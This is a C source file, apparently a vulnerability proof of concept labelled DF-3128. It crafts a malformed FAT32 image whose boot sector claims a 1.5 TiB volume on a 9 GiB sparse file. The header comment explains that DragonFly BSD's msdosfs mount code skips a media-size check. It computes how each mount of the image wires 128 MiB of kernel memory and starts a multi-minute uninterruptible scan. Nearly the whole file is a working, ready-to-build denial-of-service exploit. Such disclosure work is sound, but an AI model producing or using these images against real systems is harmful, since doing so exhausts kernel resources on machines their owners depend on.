DF-3128 / craftfat32.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | /* * DF-3128 PoC image crafter: FAT32 BPB claiming a 1.5 TiB volume that * lives on a 9 GiB sparse backing file. Demonstrates that DragonFly's * mountmsdosfs() never validates the BPB geometry against the size of * the backing device (FreeBSD does: "... > cp->provider->mediasize" -- * the dropped check is admitted by the in-tree comment at * sys/vfs/msdosfs/msdosfs_vfsops.c:434 "XXX FreeBSD also checks media * size in above"). * * BPB (byte offsets in the 512-byte boot sector): * 11 w BytesPerSec = 512 >= DEV_BSIZE, pow2 [checked] * 13 b SecPerClust = 1 pow2, 1*1 <= MAXBSIZE/DEV_BSIZE [checked] * 14 w ResSectors = 1 -> pm_fatblk = 1 [trusted] * 16 b FATs = 1 [trusted] * 17 w RootDirEnts = 0 -> FAT32 branch * 19 w Sectors(16) = 0 -> 32-bit HugeSectors used * 21 b Media = 0xF8 * 22 w FATsecs(16) = 0 (must be 0 for FAT32 branch) * 28 d HiddenSecs = 0 * 32 d HugeSectors = 0xC0000000 (3,221,225,472 sectors = 1.5 TiB claim) * 36 d BigFATsecs = 0x00800000 (8,388,608 sectors = 4 GiB FAT, * physically inside the 9 GiB file) * 40 w ExtFlags = 0x0080 (FATMIRROR, curfat = 0) * 42 w FSVers = 0 (must be 0) * 44 d RootClust = 2 * 48 w FSInfo = 0 (skip the FSInfo sector read) * 510 w boot sig = 0xAA55 (unchecked: MSDOSFS_NOCHECKSIG) * * What mountmsdosfs() derives from this on DragonFly: * pm_BlkPerSec = 1 * pm_firstcluster = 1 + 1*8388608 = 8388609 * pm_maxcluster = (0xC0000000 - 8388609)/1+1 = 3212836864 * FAT capacity = 8388608*512/4 = 1073741824 (2^30) * pm_maxcluster = 2^30 - 1 (clamped, vfsops.c:486-490) * pm_inusemap = howmany(2^30+1,32)*4 = 128 MiB kmalloc(M_WAITOK) * fillinusemap() scans 2^30 FAT entries, reading the 4 GiB zero-FAT * * FreeBSD mounts of this image fail with EINVAL ("past end of vol"). * DragonFly accepts them: 128 MiB of wired kernel heap per mount plus a * multi-minute uninterruptible FAT scan -- attacker-chosen up to 512 MiB * and 2^32 entries (32-bit pm_HugeSectors store + 32-bit BigFATsecs). * * FAT[0] = 0x0FFFFFF8 == (FAT32_MASK & 0xffffff00) | 0xF8 (media check, * fillinusemap fat.c:933-938) * FAT[1] = 0x0FFFFFFF (reserved/EOF, stays in-use) * * build: cc -O2 -o craftfat32 craftfat32.c * usage: ./craftfat32 /root/df3128.img */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #define DEV_BYTES (9LL * 1024 * 1024 * 1024) /* 9 GiB sparse file */ static uint8_t bs[512]; static void w16(uint8_t *p, uint16_t v) { p[0] = v & 0xff; p[1] = v >> 8; } static void w32(uint8_t *p, uint32_t v) { w16(p, (uint16_t)v); w16(p + 2, (uint16_t)(v >> 16)); } int main(int argc, char **argv) { int fd; uint8_t fat[8]; if (argc != 2) { fprintf(stderr, "usage: %s out.img\n", argv[0]); return (1); } memset(bs, 0, sizeof(bs)); bs[0] = 0xEB; bs[1] = 0x3C; bs[2] = 0x90; /* jmp */ memcpy(bs + 3, "DF3128 ", 8); /* OEM */ w16(bs + 11, 512); /* bpbBytesPerSec */ bs[13] = 1; /* bpbSecPerClust */ w16(bs + 14, 1); /* bpbResSectors */ bs[16] = 1; /* bpbFATs */ w16(bs + 17, 0); /* bpbRootDirEnts -> FAT32 */ w16(bs + 19, 0); /* bpbSectors: use Huge */ bs[21] = 0xF8; /* bpbMedia */ w16(bs + 22, 0); /* bpbFATsecs: 0 for FAT32 */ w16(bs + 24, 63); /* bpbSecPerTrack */ w16(bs + 26, 255); /* bpbHeads */ w32(bs + 28, 0); /* bpbHiddenSecs */ w32(bs + 32, 0xC0000000u); /* bpbHugeSectors: 1.5 TiB */ w32(bs + 36, 0x00800000u); /* bpbBigFATsecs: 4 GiB FAT */ w16(bs + 40, 0x0080); /* bpbExtFlags: mirror */ w16(bs + 42, 0); /* bpbFSVers */ w32(bs + 44, 2); /* bpbRootClust */ w16(bs + 48, 0); /* bpbFSInfo: skip */ w16(bs + 50, 0); /* bpbBackup */ bs[510] = 0x55; bs[511] = 0xAA; /* boot sig */ /* FAT[0]/FAT[1] at byte 512 (block 1, pm_fatblk) */ w32(fat + 0, 0x0FFFFFF8u); /* media-ID word */ w32(fat + 4, 0x0FFFFFFFu); /* reserved */ fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return (1); } if (ftruncate(fd, DEV_BYTES) != 0) { perror("ftruncate"); return (1); } if (pwrite(fd, bs, sizeof(bs), 0) != sizeof(bs)) { perror("pwrite bs"); return (1); } if (pwrite(fd, fat, sizeof(fat), 512) != sizeof(fat)) { perror("pwrite fat"); return (1); } close(fd); printf("crafted %s: 9 GiB sparse device, 1.5 TiB claimed FAT32 volume\n", argv[1]); printf(" pm_maxcluster will be %u, pm_inusemap %u MiB, FAT scan %u " "entries\n", 1073741823u, 128u, 1073741824u); return (0); } |